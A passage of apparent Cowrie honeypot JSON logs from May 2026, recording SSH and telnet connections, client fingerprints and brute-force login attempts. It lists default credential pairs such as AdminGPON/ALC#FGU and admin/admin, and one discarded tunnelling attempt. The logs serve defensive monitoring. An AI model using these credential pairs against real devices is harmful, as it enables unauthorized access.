","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:28:39.505112Z","src_ip":"47.239.15.75","session":"7f737862d52b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.731420278549194,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:28:45.461416Z","src_ip":"147.182.143.59","session":"db3f4111b569","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.63.236.79","src_port":47032,"dst_ip":"159.203.135.109","dst_port":23,"session":"07c97130afd4","protocol":"telnet","message":"New connection: 213.63.236.79:47032 (159.203.135.109:23) [session: 07c97130afd4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:28:47.693209Z"}
{"eventid":"cowrie.session.closed","duration":43.667500257492065,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:28:47.716724Z","src_ip":"68.43.126.168","session":"59ee8e7cf49f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.25458383560181,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:28:48.131043Z","src_ip":"68.43.126.168","session":"7130b40fd8af","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe123","message":"login attempt [root/qwe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:29:00.549928Z","src_ip":"47.239.15.75","session":"7f737862d52b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.239.15.75","src_port":45678,"dst_ip":"159.203.135.109","dst_port":22,"session":"9d1ec08eef76","protocol":"ssh","message":"New connection: 47.239.15.75:45678 (159.203.135.109:22) [session: 9d1ec08eef76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:29:01.342423Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":40214,"dst_ip":"10.17.0.5","dst_port":23,"session":"a428a4135038","protocol":"telnet","message":"New connection: 45.58.127.90:40214 (10.17.0.5:23) [session: a428a4135038]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:29:02.389490Z"}
{"eventid":"cowrie.session.closed","duration":"24.1","message":"Connection lost after 24.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:29:02.623452Z","src_ip":"47.239.15.75","session":"7f737862d52b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.918293952941895,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:29:04.886740Z","src_ip":"68.43.126.168","session":"ca32ec0bffed","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:29:05.189653Z","src_ip":"47.239.15.75","session":"65404e4df1e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":40222,"dst_ip":"10.17.0.5","dst_port":23,"session":"3331a8c78651","protocol":"telnet","message":"New connection: 45.58.127.90:40222 (10.17.0.5:23) [session: 3331a8c78651]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:29:06.419823Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":40234,"dst_ip":"10.17.0.5","dst_port":23,"session":"a86657d7208c","protocol":"telnet","message":"New connection: 45.58.127.90:40234 (10.17.0.5:23) [session: a86657d7208c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:29:06.805856Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":34700,"dst_ip":"159.203.135.109","dst_port":23,"session":"9abd2300a607","protocol":"telnet","message":"New connection: 147.182.143.59:34700 (159.203.135.109:23) [session: 9abd2300a607]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:29:07.224413Z"}
{"eventid":"cowrie.session.closed","duration":31.927635192871094,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:29:07.968899Z","src_ip":"213.63.236.79","session":"91e2a0dff727","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.57.216.43","src_port":43184,"dst_ip":"10.17.0.5","dst_port":22,"session":"4521da1d1ebb","protocol":"ssh","message":"New connection: 31.57.216.43:43184 (10.17.0.5:22) [session: 4521da1d1ebb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:29:10.149208Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:29:10.154550Z","src_ip":"31.57.216.43","session":"4521da1d1ebb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.57.216.43","src_port":43188,"dst_ip":"10.17.0.5","dst_port":22,"session":"4859cee8c6cb","protocol":"ssh","message":"New connection: 31.57.216.43:43188 (10.17.0.5:22) [session: 4859cee8c6cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:29:10.280883Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.2","message":"Remote SSH version: SSH-2.0-libssh_0.11.2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:29:10.285364Z","src_ip":"31.57.216.43","session":"4859cee8c6cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.239.15.75","src_port":39852,"dst_ip":"159.203.135.109","dst_port":22,"session":"2dd612505267","protocol":"ssh","message":"New connection: 47.239.15.75:39852 (159.203.135.109:22) [session: 2dd612505267]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:29:10.289863Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:29:10.293838Z","src_ip":"47.239.15.75","session":"2dd612505267","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4ed0d5b0dc3be39c7f96ba3a3cc77895","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-cbc,aes128-cbc,aes192-cbc,aes256-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","3des-cbc","aes128-cbc","aes192-cbc","aes256-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:29:10.389561Z","src_ip":"31.57.216.43","session":"4859cee8c6cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"AdminGPON","password":"ALC#FGU","message":"login attempt [AdminGPON/ALC#FGU] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:29:10.601489Z","src_ip":"31.57.216.43","session":"4859cee8c6cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:29:11.707756Z","src_ip":"31.57.216.43","session":"4859cee8c6cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:29:11.781367Z","src_ip":"47.239.15.75","session":"2dd612505267","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.70591878890991,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:29:16.210326Z","src_ip":"45.58.127.90","session":"90d9243291d4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.352389335632324,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:29:18.045531Z","src_ip":"213.63.236.79","session":"07c97130afd4","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user","password":"password","message":"login attempt [user/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:29:19.661901Z","src_ip":"47.239.15.75","session":"2dd612505267","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.42285418510437,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:29:20.647062Z","src_ip":"147.182.143.59","session":"9abd2300a607","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"47.253.113.111","src_port":42378,"dst_ip":"159.203.135.109","dst_port":23,"session":"9066d4a1a2af","protocol":"telnet","message":"New connection: 47.253.113.111:42378 (159.203.135.109:23) [session: 9066d4a1a2af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:29:26.951008Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":32802,"dst_ip":"159.203.135.109","dst_port":23,"session":"e73ad4603f7c","protocol":"telnet","message":"New connection: 147.182.143.59:32802 (159.203.135.109:23) [session: e73ad4603f7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:29:27.236955Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":32808,"dst_ip":"159.203.135.109","dst_port":23,"session":"7ff43d1ce7e8","protocol":"telnet","message":"New connection: 147.182.143.59:32808 (159.203.135.109:23) [session: 7ff43d1ce7e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:29:34.032687Z"}
{"eventid":"cowrie.session.closed","duration":"28.2","message":"Connection lost after 28.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:29:38.446779Z","src_ip":"47.239.15.75","session":"2dd612505267","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.65558671951294,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:29:40.044977Z","src_ip":"45.58.127.90","session":"a428a4135038","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.042621850967407,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:29:41.279440Z","src_ip":"147.182.143.59","session":"e73ad4603f7c","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:29:43.182679Z","src_ip":"47.239.15.75","session":"9d1ec08eef76","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.624114990234375,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:29:47.429836Z","src_ip":"45.58.127.90","session":"a86657d7208c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.624900341033936,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:29:48.657258Z","src_ip":"147.182.143.59","session":"7ff43d1ce7e8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.37802195549011,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:29:49.797651Z","src_ip":"45.58.127.90","session":"3331a8c78651","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:29:51.762882Z","src_ip":"47.239.15.75","session":"9d1ec08eef76","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":44560,"dst_ip":"10.17.0.5","dst_port":23,"session":"a1eb34e1b2c1","protocol":"telnet","message":"New connection: 45.58.127.90:44560 (10.17.0.5:23) [session: a1eb34e1b2c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:30:02.234497Z"}
{"eventid":"cowrie.session.closed","duration":3.8721697330474854,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:30:06.106540Z","src_ip":"45.58.127.90","session":"a1eb34e1b2c1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":50424,"dst_ip":"159.203.135.109","dst_port":23,"session":"2a1acda30e0f","protocol":"telnet","message":"New connection: 147.182.143.59:50424 (159.203.135.109:23) [session: 2a1acda30e0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:30:07.701347Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":41884,"dst_ip":"10.17.0.5","dst_port":23,"session":"18f11903b289","protocol":"telnet","message":"New connection: 45.58.127.90:41884 (10.17.0.5:23) [session: 18f11903b289]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:30:08.116466Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":50426,"dst_ip":"159.203.135.109","dst_port":23,"session":"624650f8a131","protocol":"telnet","message":"New connection: 147.182.143.59:50426 (159.203.135.109:23) [session: 624650f8a131]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:30:09.553207Z"}
{"eventid":"cowrie.login.failed","username":"sam","password":"sam","message":"login attempt [sam/sam] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:30:17.919913Z","src_ip":"47.239.15.75","session":"9d1ec08eef76","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":9.710923671722412,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:30:19.263929Z","src_ip":"147.182.143.59","session":"624650f8a131","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":11.656455039978027,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:30:19.357688Z","src_ip":"147.182.143.59","session":"2a1acda30e0f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":42050,"dst_ip":"10.17.0.5","dst_port":23,"session":"7d279a63de8a","protocol":"telnet","message":"New connection: 45.58.127.90:42050 (10.17.0.5:23) [session: 7d279a63de8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:30:22.325508Z"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:30:27.040802Z","src_ip":"47.253.113.111","session":"9066d4a1a2af","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:30:27.115588Z","src_ip":"47.253.113.111","session":"9066d4a1a2af","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"85.8","message":"Connection lost after 85.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:30:27.164713Z","src_ip":"47.239.15.75","session":"9d1ec08eef76","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":31678,"dst_ip":"10.17.0.5","dst_port":22,"session":"709937f4e9a4","protocol":"ssh","message":"New connection: 87.251.64.176:31678 (10.17.0.5:22) [session: 709937f4e9a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:30:41.908771Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:30:41.913985Z","src_ip":"87.251.64.176","session":"709937f4e9a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:30:42.011178Z","src_ip":"87.251.64.176","session":"709937f4e9a4","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:30:42.300985Z","src_ip":"87.251.64.176","session":"709937f4e9a4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:30:42.401030Z","session":"709937f4e9a4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:30:42.499444Z","src_ip":"87.251.64.176","session":"709937f4e9a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:30:42.598505Z","src_ip":"87.251.64.176","session":"709937f4e9a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.87260675430298,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:30:49.988927Z","src_ip":"45.58.127.90","session":"18f11903b289","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":52034,"dst_ip":"10.17.0.5","dst_port":23,"session":"44607b42396d","protocol":"telnet","message":"New connection: 45.58.127.90:52034 (10.17.0.5:23) [session: 44607b42396d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:30:53.970177Z"}
